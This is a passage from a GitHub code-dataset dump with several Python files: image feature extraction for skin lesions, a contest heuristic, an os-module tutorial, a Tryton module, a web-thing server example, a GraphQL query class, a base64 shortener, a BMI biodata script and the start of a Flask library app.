hog.append(feature.hog(color.rgb2grey(self.img[i]), block_norm='L2-Hys'))\n\n    \"\"\"skin-lesion-detection opencv\"\"\"\n    def skin_lesion(self):\n        self.features['area'] = 'default'\n        self.features['area_variance01'] = 'default'\n        self.features['area_variance02'] = 'default'\n        self.features['area_variance03'] = 'default'\n        self.features['area_variance1'] = 'default'\n        self.features['area_variance2'] = 'default'\n        self.features['area_variance3'] = 'default'\n        self.features['average_blue'] = 'default'\n        self.features['average_blue2'] = 'default'\n        self.features['average_green'] = 'default'\n        self.features['average_green2'] = 'default'\n        self.features['average_red'] = 'default'\n        self.features['average_red2'] = 'default'\n        self.features['contrast2'] = 'default'\n        self.features['correlation2'] = 'default'\n        self.features['dissimilarity2'] = 'default'\n        self.features['energy2'] = 'default'\n        self.features['homogeneity2'] = 'default'\n        self.features['m01'] = 'default'\n        self.features['m02'] = 'default'\n        self.features['m03'] = 'default'\n        self.features['m10'] = 'default'\n        self.features['m11'] = 'default'\n        self.features['m12'] = 'default'\n        self.features['m20'] = 'default'\n        self.features['m21'] = 'default'\n        self.features['m30'] = 'default'\n        self.features['mu02'] = 'default'\n        self.features['mu03'] = 'default'\n        self.features['mu11'] = 'default'\n        self.features['mu12'] = 'default'\n        self.features['mu20'] = 'default'\n        self.features['mu21'] = 'default'\n        self.features['nu03'] = 'default'\n        self.features['nu12'] = 'default'\n        self.features['nu20'] = 'default'\n        self.features['nu21'] = 'default'\n        self.features['nu30'] = 'default'\n        self.features['perimeter'] = 'default'\n        self.features['symmetry'] = 'default'\n\n        for i in range(0, self.data.shape[0]):\n            im_id = self.data['image_id'][i]\n\n            hsv = cv2.cvtColor(self.img[i], cv2.COLOR_BGR2HSV)\n            gray = cv2.cvtColor(self.img[i], cv2.COLOR_BGR2GRAY)\n            blur = cv2.GaussianBlur(gray, (17, 17), 32)\n            ret, thresh = cv2.threshold(blur, 0, 255, cv2.THRESH_BINARY_INV + cv2.THRESH_OTSU)\n            im2, contours, hierarchy = cv2.findContours(thresh, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n            self.im2.append(im2)\n            cnt = max(contours, key=cv2.contourArea)\n            if len(cnt) > 4:\n                ellipse = cv2.fitEllipse(cnt)\n                x, y, w, h = cv2.boundingRect(cnt)\n                area = hsv[int(y + (0.3 * h)):int(y + (0.8 * h)), int((0.2 * w) + x):int((0.7 * w) + x)]\n                ellipse_cnt = cv2.ellipse2Poly((int(ellipse[0][0]), int(ellipse[0][1])),\n                                               (int(ellipse[1][0]), int(ellipse[1][1])), int(ellipse[2]), 0, 360, 1)\n\n            # add average color information\n            mask = thresh > 0\n            red_sum = np.multiply(self.img[i][:, :, 0], mask).sum()\n            green_sum = np.multiply(self.img[i][:, :, 1], mask).sum()\n            blue_sum = np.multiply(self.img[i][:, :, 2], mask).sum()\n            area_sum = mask.sum()\n\n            # texture information\n            gCoMat = feature.greycomatrix(gray, [2], [0], 256, symmetric=True, normed=True)\n\n            # color without segmentation\n            average = self.img[i].mean(axis=0).mean(axis=0)\n\n            # add perimeter, symmetry and area variance\n            perimeter = cv2.arcLength(cnt, True)\n            comp = cv2.matchShapes(cnt, ellipse_cnt, 1, 0.0)\n            variance = cv2.meanStdDev(area)\n\n            # add moment information to dataframe\n            moments = cv2.moments(cnt, True)\n\n            self.features.loc[self.data['image_id'] == im_id, ['contrast2']] = feature.greycoprops(gCoMat, prop='contrast')\n            self.features.loc[self.data['image_id'] == im_id, ['dissimilarity2']] = feature.greycoprops(gCoMat, prop='dissimilarity')\n            self.features.loc[self.data['image_id'] == im_id, ['homogeneity2']] = feature.greycoprops(gCoMat, prop='homogeneity')\n            self.features.loc[self.data['image_id'] == im_id, ['energy2']] = feature.greycoprops(gCoMat, prop='energy')\n            self.features.loc[self.data['image_id'] == im_id, ['correlation2']] = feature.greycoprops(gCoMat, prop='correlation'),\n            self.features.loc[self.data['image_id'] == im_id, ['average_red']] = red_sum / area_sum\n            self.features.loc[self.data['image_id'] == im_id, ['average_green']] = green_sum / area_sum\n            self.features.loc[self.data['image_id'] == im_id, ['average_blue']] = blue_sum / area_sum\n            self.features.loc[self.data['image_id'] == im_id, ['average_red2']] = average[0]\n            self.features.loc[self.data['image_id'] == im_id, ['average_green2']] = average[1]\n            self.features.loc[self.data['image_id'] == im_id, ['average_blue2']] = average[2]\n            self.features.loc[self.data['image_id'] == im_id, ['perimeter']] = perimeter\n            self.features.loc[self.data['image_id'] == im_id, ['symmetry']] = comp\n            self.features.loc[self.data['image_id'] == im_id, ['area_variance1']] = variance[1][0][0]\n            self.features.loc[self.data['image_id'] == im_id, ['area_variance2']] = variance[1][1][0]\n            self.features.loc[self.data['image_id'] == im_id, ['area_variance3']] = variance[1][2][0]\n            self.features.loc[self.data['image_id'] == im_id, ['area_variance01']] = variance[0][0][0]\n            self.features.loc[self.data['image_id'] == im_id, ['area_variance02']] = variance[0][1][0]\n            self.features.loc[self.data['image_id'] == im_id, ['area_variance03']] = variance[0][2][0]\n            self.features.loc[self.data['image_id'] == im_id, ['area']] = moments['m00']\n            self.features.loc[self.data['image_id'] == im_id, ['m10']] = moments['m10']\n            self.features.loc[self.data['image_id'] == im_id, ['m01']] = moments['m01']\n            self.features.loc[self.data['image_id'] == im_id, ['m20']] = moments['m20']\n            self.features.loc[self.data['image_id'] == im_id, ['m11']] = moments['m11']\n            self.features.loc[self.data['image_id'] == im_id, ['m02']] = moments['m02']\n            self.features.loc[self.data['image_id'] == im_id, ['m30']] = moments['m30']\n            self.features.loc[self.data['image_id'] == im_id, ['m21']] = moments['m21']\n            self.features.loc[self.data['image_id'] == im_id, ['m12']] = moments['m12']\n            self.features.loc[self.data['image_id'] == im_id, ['m03']] = moments['m03']\n            self.features.loc[self.data['image_id'] == im_id, ['mu20']] = moments['mu20']\n            self.features.loc[self.data['image_id'] == im_id, ['mu11']] = moments['mu11']\n            self.features.loc[self.data['image_id'] == im_id, ['mu02']] = moments['mu02']\n            self.features.loc[self.data['image_id'] == im_id, ['mu03']] = moments['mu03']\n            self.features.loc[self.data['image_id'] == im_id, ['mu21']] = moments['mu21']\n            self.features.loc[self.data['image_id'] == im_id, ['mu12']] = moments['mu12']\n            self.features.loc[self.data['image_id'] == im_id, ['mu03']] = moments['mu03']\n            self.features.loc[self.data['image_id'] == im_id, ['nu20']] = moments['nu20']\n            self.features.loc[self.data['image_id'] == im_id, ['nu30']] = moments['nu30']\n            self.features.loc[self.data['image_id'] == im_id, ['nu21']] = moments['nu21']\n            self.features.loc[self.data['image_id'] == im_id, ['nu12']] = moments['nu12']\n            self.features.loc[self.data['image_id'] == im_id, ['nu03']] = moments['nu03']\n\n        self.features.to_csv('data/features_test_set2.csv', index=False)\n\n    \"\"\"features selection\"\"\"\n    def feature_selection(self):\n        # select training and validation set\n        dev_im_id = pd.read_csv(self.dev_set_path)\n        dev_indices = self.data.image_id.isin(dev_im_id.image)[lambda x: x]\n        train_indices = self.data.image_id.isin(dev_im_id.image)[lambda x: ~x]\n        self.train_features = self.features.drop(dev_indices.index)\n        self.train_classes = self.classes.drop(dev_indices.index)\n        self.dev_features = self.features.drop(train_indices.index)\n        self.dev_classes = self.classes.drop(train_indices.index)\n\n        # drop NAN values\n        \"\"\"\n        nan_indices = self.features.isna().any(axis=1)[lambda x: x]\n        train_nan_indices = self.train_features.isna().any(axis=1)[lambda x: x]\n        dev_nan_indices = self.dev_features.isna().any(axis=1)[lambda x: x]\n        self.features.dropna(inplace=True)\n        self.classes.drop(nan_indices.index, axis=0, inplace=True)\n        self.train_features.dropna(inplace=True)\n        self.train_classes.drop(train_nan_indices.index, axis=0, inplace=True)\n        self.dev_features.dropna(inplace=True)\n        self.dev_classes.drop(dev_nan_indices.index, axis=0, inplace=True)\n        \"\"\"\n\n        # first method: select k=10 best features with chi2-test\n        # problem: choose of k beforehand\n        \"\"\"\n        chi_selector = SelectKBest(chi2, k=15).fit(features_norm, self.classes)\n        chi_support = chi_selector.get_support()\n        chi_feature_names = self.features.loc[:, chi_support].columns.tolist()\n        chi_drop_names = self.features.loc[:, chi_support].columns.tolist()\n        chi_features = chi_selector.transform(features_norm)\n        print(chi_features.shape[1], 'chi-selected features', chi_feature_names)\n        \"\"\"\n\n        # drop features correlated with hair\n        \"\"\"\n        tested with augmented hair \n        im_path = 'data/HairTest/'\n        data_path = 'data/HairTest/data.csv'\n        feature_path = None\n        dev_set_path = None\n        \"\"\"\n        self.features.drop(['Moment_R_L02', 'Moment_R_L11', 'Moment_R_L12', 'Moment_R_L22',\n                            'Moment_G_L02', 'Moment_G_L11', 'Moment_G_L12', 'Moment_G_L22',\n                            'Moment_B_L02', 'Moment_B_L11', 'Moment_B_L12', 'Moment_B_L22',\n                            'contrast', 'perimeter', 'area',\n                            'area_variance1', 'area_variance2', 'area_variance3'], axis=1, inplace=True)\n\n        # normalise features values\n        features_norm = scale(MinMaxScaler().fit_transform(self.features))\n        # other method: (L1)/L2-based feature selection with LinearSVC\n        # use SVM as a sparse estimator to reduce dimensionality\n        # reason: many of the estimated coefficients are zero\n        # use C to control the sparsity: the smaller C the fewer features selected\n        lsvc = LinearSVC(C=0.1, penalty=\"l2\", dual=False).fit(features_norm, np.ravel(self.classes))\n        svc_selector = SelectFromModel(lsvc, prefit=True)\n        svc_support = svc_selector.get_support()\n        svc_feature_names = self.features.loc[:, svc_support].columns.tolist()\n        svc_drop_names = self.features.loc[:, ~svc_support].columns.tolist()\n        svc_features = svc_selector.transform(features_norm)\n        print(svc_features.shape[1], 'svc-selected features: ', svc_feature_names)\n\n        # according to what features to use, set self variables; here: scv_features\n        self.features = svc_features\n        self.train_features.drop(svc_drop_names, axis=1, inplace=True)\n        self.train_features = scale(MinMaxScaler().fit_transform(self.train_features))\n        self.dev_features.drop(svc_drop_names, axis=1, inplace=True)\n        self.dev_features = scale(MinMaxScaler().fit_transform(self.dev_features))\n        self.test_features.drop(svc_drop_names, axis=1, inplace=True)\n        self.test_features = scale(MinMaxScaler().fit_transform(self.test_features))\n        self.feature_names = svc_feature_names\n","repo_name":"ProjectSeminarISM/part1","sub_path":"features.py","file_name":"features.py","file_ext":"py","file_size_in_byte":19806,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"25278118782","text":"import time\r\nimport random\r\nimport copy\r\n\r\nVISUALIZE = True\r\n\r\ndef main():\r\n    t_start = time.time()\r\n    T_LIMIT = 3.0\r\n    buf = input()\r\n    buflist = buf.split()\r\n    N = int(buflist[0]) # = 500\r\n    M = int(buflist[1]) # = 29\r\n    L = int(buflist[2]) # = 300\r\n    S = []\r\n    for i in range(N):\r\n        buf = input()\r\n        S.append(buf)\r\n    # board initialization\r\n    board = []\r\n    for i in range(M):\r\n        board.append(list(\".\" * M))\r\n    for i in range(M):\r\n        for j in range(M):\r\n            if i == 0 or i == M - 1 or j == 0 or j == M - 1:\r\n                board[i][j] = \"#\"\r\n    # try to find best board with random panel placement\r\n    PANEL_LIST = [\"#\", \"D\", \"T\", \"L\", \"R\", \".\"]\r\n    WALL_CHANCE = 0.000\r\n    DOUBLE_CHANCE = 0.00 + WALL_CHANCE\r\n    TRIPLE_CHANCE = 0.00 + DOUBLE_CHANCE\r\n    LEFT_CHANCE = 0.00 + TRIPLE_CHANCE\r\n    RIGHT_CHANCE = 0.00 + LEFT_CHANCE\r\n    NOTHING_CHANCE = 1.0\r\n    PROB_LIST = [WALL_CHANCE, DOUBLE_CHANCE, TRIPLE_CHANCE, LEFT_CHANCE, RIGHT_CHANCE, NOTHING_CHANCE]\r\n    best_board = copy.deepcopy(board)\r\n    best_score = simulate_board(board, M, S)\r\n    while True:\r\n        new_board = copy.deepcopy(board)\r\n        # randomly place panel\r\n        for i in range(1, M-1):\r\n            for j in range(1, M-1):\r\n                roll = random.random()\r\n                for k, prob in enumerate(PROB_LIST):\r\n                    if roll < prob:\r\n                        new_board[i][j] = PANEL_LIST[k]\r\n                        break\r\n        for i in range(M):\r\n            for j in range(M):\r\n                if (i == 1 or i == M - 2 or j == 1 or j == M - 2) and not (i == 0 or i == M - 1 or j == 0 or j == M - 1):\r\n                    roll = random.random()\r\n                    if roll < 1.0:\r\n                        new_board[i][j] = \"R\"\r\n        # wall is not allowed on center\r\n        if new_board[(M - 1) // 2][(M - 1) // 2] == \"#\":\r\n            new_board[(M - 1) // 2][(M - 1) // 2] = \".\" # remove wall\r\n        # simulate board\r\n        score = simulate_board(new_board, M, S)\r\n        # is score higher than the best one?\r\n        if score > best_score:\r\n            best_score = score\r\n            best_board = copy.deepcopy(new_board)\r\n        # score and time visualization\r\n        if VISUALIZE:\r\n            print(score, T_LIMIT - abs(time.time() - t_start), flush=True)\r\n        # finish if time left < 0.2 seconds\r\n        if T_LIMIT - abs(time.time() - t_start) < 0.2:\r\n            break\r\n    # print final board\r\n    for i in range(M):\r\n        print(\"\".join(best_board[i]))\r\n    if VISUALIZE:\r\n        print(best_score)\r\n\r\ndef simulate_board(board, M, S):\r\n    stop_count = []\r\n    for i in range(M):\r\n        stop_count.append([0] * M)\r\n    for test_case in S:\r\n        # initialize robot position\r\n        x = (M - 1) // 2\r\n        y = (M - 1) // 2\r\n        direction = 0\r\n        for command in test_case:\r\n            # check for Double / Triple panel\r\n            executions = 1\r\n            if board[y][x] == \"D\":\r\n                executions = 2\r\n            elif board[y][x] == \"T\":\r\n                executions = 3\r\n            for execution in range(executions):\r\n                # move forward\r\n                if command == \"S\":\r\n                    if direction == 0: # up\r\n                        if not board[y-1][x] == \"#\": # check for a wall\r\n                            y -= 1\r\n                    elif direction == 1: # right\r\n                        if not board[y][x+1] == \"#\": # check for a wall\r\n                            x += 1\r\n                    elif direction == 2: # down\r\n                        if not board[y+1][x] == \"#\": # check for a wall\r\n                            y += 1\r\n                    elif direction == 3: # left\r\n                        if not board[y][x-1] == \"#\": # check for a wall\r\n                            x -= 1\r\n                # turn left\r\n                elif command == \"L\":\r\n                    if board[y][x] == \"R\": # check for Right panel\r\n                        direction = (direction + 1) % 4 # turn right instead\r\n                    else:\r\n                        direction = (direction - 1) % 4\r\n                elif command == \"R\":\r\n                    if board[y][x] == \"L\": # check for Left panel\r\n                        direction = (direction - 1) % 4 # turn left instead\r\n                    else:\r\n                        direction = (direction + 1) % 4\r\n        stop_count[y][x] += 1 # add stop count of final position\r\n    # calculate final score\r\n    score = 0\r\n    for i in range(M):\r\n        for j in range(M):\r\n            if stop_count[i][j] == 1:\r\n                score += 10\r\n            elif stop_count[i][j] == 2:\r\n                score += 3\r\n            elif stop_count[i][j] == 3:\r\n                score += 1\r\n    return score\r\n\r\nif __name__ == '__main__':\r\n    main()\r\n","repo_name":"takumi152/atcoder","sub_path":"httf2019/httf2019.py","file_name":"httf2019.py","file_ext":"py","file_size_in_byte":4838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"11173025602","text":"# Santosh Khadka\n# What if we have to open every file in a directory?\n# What if we want to actually move files around on our computer?\n\nimport os       # Allows for command line style commands\nimport shutil   # Move files around\nimport send2trash   # Delete files to resycle bin. pip install send2trash\nf = open(\"practice.txt\", 'w+')\nf.write(\"Santosh Khadka\")\nf.close()\n\nprint(os.getcwd())    # Works because of os\n# print(str(os.getcwd()).replace(\"\\\\\", \"\\\\\\\\\"))   # Replace \\ with \\\\\n# print(os.listdir())     # same as ls command\n# print(os.listdir('C:\\\\Users\\\\PC-SK\\\\Desktop\\\\GIT_STUFF\\\\MINE\\\\learning_algos\\\\Learning-python'))        # print all files in 'directory'\n# print(os.listdir('C:\\\\Users\\\\PC-SK\\\\Desktop\\\\GIT_STUFF\\MINE\\\\learning_algos\\\\Learning-python'))         # Need to use \\\\ instead of \\\n    \n# shutil.move('practice.txt', 'C:\\\\Users\\\\PC-SK\\\\Desktop\\\\GIT_STUFF\\\\MINE\\\\learning_algos\\\\Learning-python\\\\Section 14 - Advanced Python Modules\\\\end')     # Error if specified file not found\n\n'''\nDeleting Files\n\nNOTE: The os module provides 3 methods for deleting files:\n\n    os.unlink(path) which deletes a file at the path your provide\n    os.rmdir(path) which deletes a folder (folder must be empty) at the path your provide\n    shutil.rmtree(path) this is the most dangerous, as it will remove all files and folders contained in the path. \n    \n    All of these methods can not be reversed! Won't be able to recover the file. \n    Instead use send2trash module: Safer alternative that sends deleted files to trash bin instead of permanent delete.\n    \n    send2trash: pip install send2trash     \n'''\n# print('Before delete:   ', os.listdir())\n# send2trash.send2trash('practice.txt')     # can put the entire path or just the file name if in the same directory.\n# print('After delete:    ', os.listdir())\n\n## Looks in given file path and outputs the name of all sub-folders and files in them\n## Can add in logic to find only folders/files you're looking for. Ex date, id, etc.\nfile_path = \"C:\\\\Users\\\\PC-SK\\\\Desktop\\\\GIT_STUFF\\\\MINE\\\\learning_algos\\\\Learning-python\\\\Section 14 - Advanced Python Modules\\\\start\"\nfor folder, sub_folders, files in os.walk(file_path):\n    print(f\"\\nCurrently looking at {folder}\")\n    print('Subfolders are: ')\n    for folder in sub_folders:\n        print(f\"Sub-folder: {folder}\")\n    print(\"The files are: \")\n    for items in files:\n        print(f\"File: {items}\")\n","repo_name":"skhadka007/learning_algos","sub_path":"Learning-python/Section 14 - Advanced Python Modules/osModules.py","file_name":"osModules.py","file_ext":"py","file_size_in_byte":2413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"38439417221","text":"from trytond.pool import Pool, PoolMeta\nfrom trytond.model import fields\nfrom trytond.transaction import Transaction\n\n__all__ = ['SaleLine']\n\n\nclass SaleLine(metaclass=PoolMeta):\n    __name__ = 'sale.line'\n\n    @fields.depends('product')\n    def on_change_product(self):\n        Product = Pool().get('product.product')\n\n        super(SaleLine, self).on_change_product()\n\n        lang = Transaction().context.get('language')\n\n        if self.product and self.product.description:\n            # get party lang\n            party_context = {}\n            if self.sale and self.sale.party:\n                party = self.sale.party\n                if party.lang:\n                    party_context['language'] = party.lang.code\n\n            # reload product by lang when is different party lang and user lang\n            if party_context.get('language') and (lang != party_context['language']):\n                with Transaction().set_context(party_context):\n                    self.description = Product(self.product.id).description\n            else:\n                self.description = self.product.description\n","repo_name":"NaN-tic/trytond-sale_description","sub_path":"sale.py","file_name":"sale.py","file_ext":"py","file_size_in_byte":1104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"5632559030","text":"from __future__ import division\n\nimport asyncio\nimport logging\nimport sys\nimport time\nimport uuid\n\nfrom thingserver import Action, Event, Property, Thing, Value, WebThingServer\n\nif (\n    sys.version_info[0] == 3\n    and sys.version_info[1] >= 8\n    and sys.platform.startswith(\"win\")\n):\n    asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())\n\n\nclass OverheatedEvent(Event):\n    def __init__(self, thing, data):\n        Event.__init__(self, thing, \"overheated\", data=data)\n\n\ndef make_thing():\n    thing = Thing(\n        \"urn:dev:ops:my-lamp-1234\",\n        \"My Lamp\",\n        [\"OnOffSwitch\", \"Light\"],\n        \"A web connected lamp\",\n    )\n\n    thing.add_context(\"https://iot.mozilla.org/schemas\")\n\n    on_property = Property(\n        thing,\n        \"on\",\n        Value(True, None, lambda x: print(x)),\n        metadata={\n            \"@type\": \"OnOffProperty\",\n            \"title\": \"On/Off\",\n            \"type\": \"boolean\",\n            \"description\": \"Whether the lamp is turned on\",\n        },\n    )\n\n    brightness_property = Property(\n        thing,\n        \"brightness\",\n        Value(50, None, lambda x: print(x)),\n        metadata={\n            \"@type\": \"BrightnessProperty\",\n            \"title\": \"Brightness\",\n            \"type\": \"integer\",\n            \"description\": \"The level of light from 0-100\",\n            \"minimum\": 0,\n            \"maximum\": 100,\n            \"unit\": \"percent\",\n        },\n    )\n\n    thing.add_property(on_property)\n    thing.add_property(brightness_property)\n\n    async def fade_function(args):\n        print(\"Starting fade function\")\n        await asyncio.sleep(args[\"duration\"] / 1000)\n        await brightness_property.set_value(args[\"brightness\"])\n        print(\"Finished fade function\")\n        return \"Return value\"\n\n    fade_action = Action(\n        thing,\n        \"fade\",\n        fade_function,\n        metadata={\"title\": \"Fade\", \"description\": \"Fade the lamp to a given level\",},\n        input_={\n            \"type\": \"object\",\n            \"required\": [\"brightness\", \"duration\",],\n            \"properties\": {\n                \"brightness\": {\n                    \"type\": \"integer\",\n                    \"minimum\": 0,\n                    \"maximum\": 100,\n                    \"unit\": \"percent\",\n                },\n                \"duration\": {\"type\": \"integer\", \"minimum\": 1, \"unit\": \"milliseconds\",},\n            },\n        },\n        output={\"type\": \"string\"},\n    )\n\n    thing.add_action(fade_action)\n\n    thing.add_available_event(\n        \"overheated\",\n        {\n            \"description\": \"The lamp has exceeded its safe operating temperature\",\n            \"type\": \"number\",\n            \"unit\": \"degree celsius\",\n        },\n    )\n\n    return thing\n\n\ndef run_server():\n    thing = make_thing()\n\n    server = WebThingServer(thing, port=8888, debug=True)\n    try:\n        logging.info(\"starting the server\")\n        server.start()\n    except KeyboardInterrupt:\n        logging.info(\"stopping the server\")\n        server.stop()\n        logging.info(\"done\")\n\n\nif __name__ == \"__main__\":\n    logging.basicConfig(\n        level=10, format=\"%(asctime)s %(filename)s:%(lineno)s %(levelname)s %(message)s\"\n    )\n    run_server()\n","repo_name":"labthings/python-thingserver","sub_path":"example/single-thing.py","file_name":"single-thing.py","file_ext":"py","file_size_in_byte":3176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"73293186292","text":"from graphene import (\r\n    ObjectType,\r\n    String,\r\n    Boolean,\r\n    List,\r\n    Int,Date\r\n)\r\nfrom .persona import Persona as PersonaModel\r\nfrom .objects import Persona, Departamento,Vehiculo, Registro, Infraccion\r\nfrom .departamento import Departamento as DepartamentoModel\r\nfrom .vehiculo import Vehiculo as VehiculoModel\r\nfrom .registro import Registro as RegistroModel\r\nfrom .infraccion import Infraccion as InfraccionModel\r\n\r\nclass Query(ObjectType):\r\n    personas = List(lambda: Persona, last_name=String(), id=Int(), has_email=Boolean(), order_by_name=Boolean())\r\n    departamentos = List(lambda: Departamento)\r\n    vehiculo = List(lambda: Vehiculo,patente=String(), categoria_vehiculo=String(),anio_fabricacion=Int(),nombre_propietario=String(),domicilio_propietario=String())\r\n    registro = List (lambda:Registro,numero=Int(),nombre_chofer=String(),domicilio_chofer=String(),edad=Int(),grupo_sanguineo=String(),categoria=String(),fecha_emision=Date(),fecha_vencimiento=Date())\r\n    infraccion = List (lambda : Infraccion,numero_infraccion=Int(),fecha_infraccion=Int(),observaciones=String(),patente=String())\r\n\r\n    def resolve_personas(self, info, id=None, last_name=None, has_email=None, order_by_name=None):\r\n        query = Persona (info=info)\r\n        if id:\r\n            query = query.filter(PersonaModel.id==id)\r\n        if last_name:\r\n            query = query.filter(PersonaModel.last_name==last_name)\r\n        if has_email is not None:\r\n            if has_email:\r\n                query = query.filter(PersonaModel.email != None)\r\n            else:\r\n                query = query.filter(PersonaModel.email == None)\r\n        if order_by_name:\r\n            query = query.order_by(PersonaModel.name)\r\n        return query.all()\r\n    \r\n    def resolve_departamentos(self, info):\r\n        query = Departamento.get_query(info=info)\r\n        return query.all()\r\n    \r\n    def resolve_vehiculo(self, info, patente=None, categoria_vehiculo=None, anio_fabricacion=None, nombre_propietario=None,domicilio_propietario=None):\r\n        query = Vehiculo.get_query(info=info)\r\n        if patente:\r\n            query= query.filter(VehiculoModel.patente==patente)\r\n        if categoria_vehiculo:\r\n            query=query.filter(VehiculoModel.categoria_vehiculo==categoria_vehiculo)\r\n        if anio_fabricacion:\r\n            query= query.filter(VehiculoModel.anio_fabricacion==anio_fabricacion)\r\n        if nombre_propietario:\r\n            query= query.filter(VehiculoModel.nombre_propietario==nombre_propietario)\r\n        if domicilio_propietario:\r\n            query= query.filter(VehiculoModel.domicilio_propietario==domicilio_propietario)\r\n        return query.all()\r\n    \r\n    def resolve_registro(self, info,numero=None,nombre_chofer=None,domicilio_chofer=None,edad=None,grupo_sanguineo=None,categoria=None,fecha_emision=None,fecha_vencimiento=None):\r\n        query = Registro.get_query (info=info)\r\n        if numero:\r\n            query=query.filter(RegistroModel.numero==numero)\r\n        if nombre_chofer:\r\n            query=query.filter(RegistroModel.nombre_chofer==nombre_chofer)\r\n        if edad:\r\n            query=query.filter(RegistroModel.edad==edad)\r\n        if grupo_sanguineo:\r\n            query=query.filter(RegistroModel.grupo_sanguineo==grupo_sanguineo)\r\n        if fecha_emision:\r\n            query=query.filter(RegistroModel.fecha_emision==fecha_emision)\r\n        if fecha_vencimiento:\r\n            query=query.filter(RegistroModel.fecha_vencimiento==fecha_vencimiento)\r\n        return query.all()\r\n    \r\n    def resolve_infraccion(self, info,numero_infraccion=None,fecha_infraccion=None,observaciones=None,patente=None):\r\n        query = Infraccion.get_query (info=info)\r\n        if numero_infraccion:\r\n            query=query.filter(InfraccionModel.numero_infraccion==numero_infraccion)\r\n        if fecha_infraccion:\r\n            query=query.filter(InfraccionModel.fecha_infraccion==fecha_infraccion)\r\n        if patente:\r\n            query:query.filter(InfraccionModel.patente==patente)\r\n        return query.all()\r\n","repo_name":"MagaliLandini/Back","sub_path":"base de dato/models/query.py","file_name":"query.py","file_ext":"py","file_size_in_byte":4044,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"284379043","text":"#!/usr/bin/python\n\"\"\"Let's have us some base64 for simple integer keys.\"\"\"\n\nfrom math import log, floor\n\n# Completely bikeshedded base64 character set, aimed at maximal\n# typability.\ncharset = '.abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-'\n\ndef encode64(number):\n    if number == 0:\n        return charset[0]\n    text = ''\n    width = int(floor(log(number, 64)))\n    for power in xrange(width, -1, -1):\n        place_value = number / 64**power\n        text += charset[place_value]\n        number -= place_value * 64**power\n    return text\n\ndef decode64(text):\n    number = 0\n    for power in xrange(len(text) - 1, -1, -1):\n        place_value = charset.index(text[len(text) - power - 1])\n        number += place_value * 64**power\n    return number\n","repo_name":"cryogen/yardbird","sub_path":"yardbird/contrib/shortener.py","file_name":"shortener.py","file_ext":"py","file_size_in_byte":768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"41726481462","text":"def biodata(nama, alamat, tanggal, umur, bb, tb):\n\n    meter = tb / 100\n    bmi = bb / (meter * meter)\n\n    if bmi < 18.5:\n        ideal = 'Kurus'\n    elif bmi <= 24.9:\n        ideal = 'Normal'\n    else:\n        ideal = 'Gemuk'\n\n    return f'''\n    =================\n    ===> Biodata <===\n    =================\n\n    Nama         : {nama}\n    Alamat       : {alamat}\n    Tanggal      : {tanggal}\n    Usia         : {str(umur)}\n    Tinggi Badan : {str(tb)} cm\n    Berat badan  : {str(bb)}kg - {ideal}\n    '''\n\n\nprint(\n    biodata('Febry Billiyagi Karsidi',\n            'Jl.Pabrik Kulit RT05/RW03, Cibinong - Bogor', '19 Februari 2003',\n            19, 51, 170))\n","repo_name":"billiyagi/myPython","sub_path":"DDP Tugas 9/biodata.py","file_name":"biodata.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"9408512030","text":"import os\n\nfrom cs50 import SQL\nfrom flask import Flask, redirect, render_template, request, session\nfrom flask_mail import Mail, Message\n\nfrom flask_session import Session\nfrom werkzeug.security import check_password_hash, generate_password_hash\n\nfrom helpers import login_required, apology, send_reservation_details, admin_access_required, generate_qrcode_for_reservation\nfrom datetime import datetime, timedelta\n\n\n# Configure application\napp = Flask(__name__)\n\n# Ensure templates are auto-reloaded\napp.config[\"TEMPLATES_AUTO_RELOAD\"] = True\n\n\n# Configure session to use filesystem (instead of signed cookies)\napp.config[\"SESSION_PERMANENT\"] = False\napp.config[\"SESSION_TYPE\"] = \"filesystem\"\n\n# Configure administator's mail\napp.config['MAIL_SERVER']= 'smtp.poczta.onet.pl'\napp.config['MAIL_PORT'] = 587\napp.config['MAIL_USERNAME'] = str(os.environ['admin_email'])\napp.config['MAIL_PASSWORD'] = str(os.environ['admin_password'])\napp.config['MAIL_USE_TLS'] = False\nmail = Mail(app)\n\nSession(app)\n\n# Configure CS50 Library to use SQLite database called library.db\ndb = SQL(\"sqlite:///library.db\")\n\nMAX_AMOUNT_OF_CHARACTERS = 1000\nMAX_AMOUNT_OF_RESERVATIONS = 5\n\n@app.after_request\ndef after_request(response):\n    \"\"\"Ensure responses aren't cached\"\"\"\n    response.headers[\"Cache-Control\"] = \"no-cache, no-store, must-revalidate\"\n    response.headers[\"Expires\"] = 0\n    response.headers[\"Pragma\"] = \"no-cache\"\n    return response\n\n# Admin's backend!\n\n@app.route(\"/admin\")\n@login_required\n@admin_access_required\ndef homepage_admin():\n    return render_template(\"home_admin.html\")\n\n@app.route(\"/books_admin\")\n@login_required\n@admin_access_required\ndef books_admin():\n    \"\"\"Render all books from library collection\"\"\"\n    books = db.execute(\n        \"SELECT book_id, title, description, genre, photo_adress FROM books\")\n    occupied_books = db.execute(\n        \"SELECT books.book_id, title, description, genre, photo_adress FROM books INNER JOIN reservations ON books.book_id=reservations.book_id WHERE books.book_id IN (SELECT reservations.book_id FROM reservations)\")\n    occupied_books_ids_only = []\n    for occupied_book in occupied_books:\n        occupied_books_ids_only.append(occupied_book[\"book_id\"])\n    return render_template(\"books_admin.html\", books=books, occupied_books_ids_only=occupied_books_ids_only)\n\n\n@app.route(\"/admin_search_books\", methods=[\"GET\", \"POST\"])\n@admin_access_required\n@login_required\ndef admin_search_books():\n    \"\"\"Search through all books from library collection\"\"\"\n    if request.method 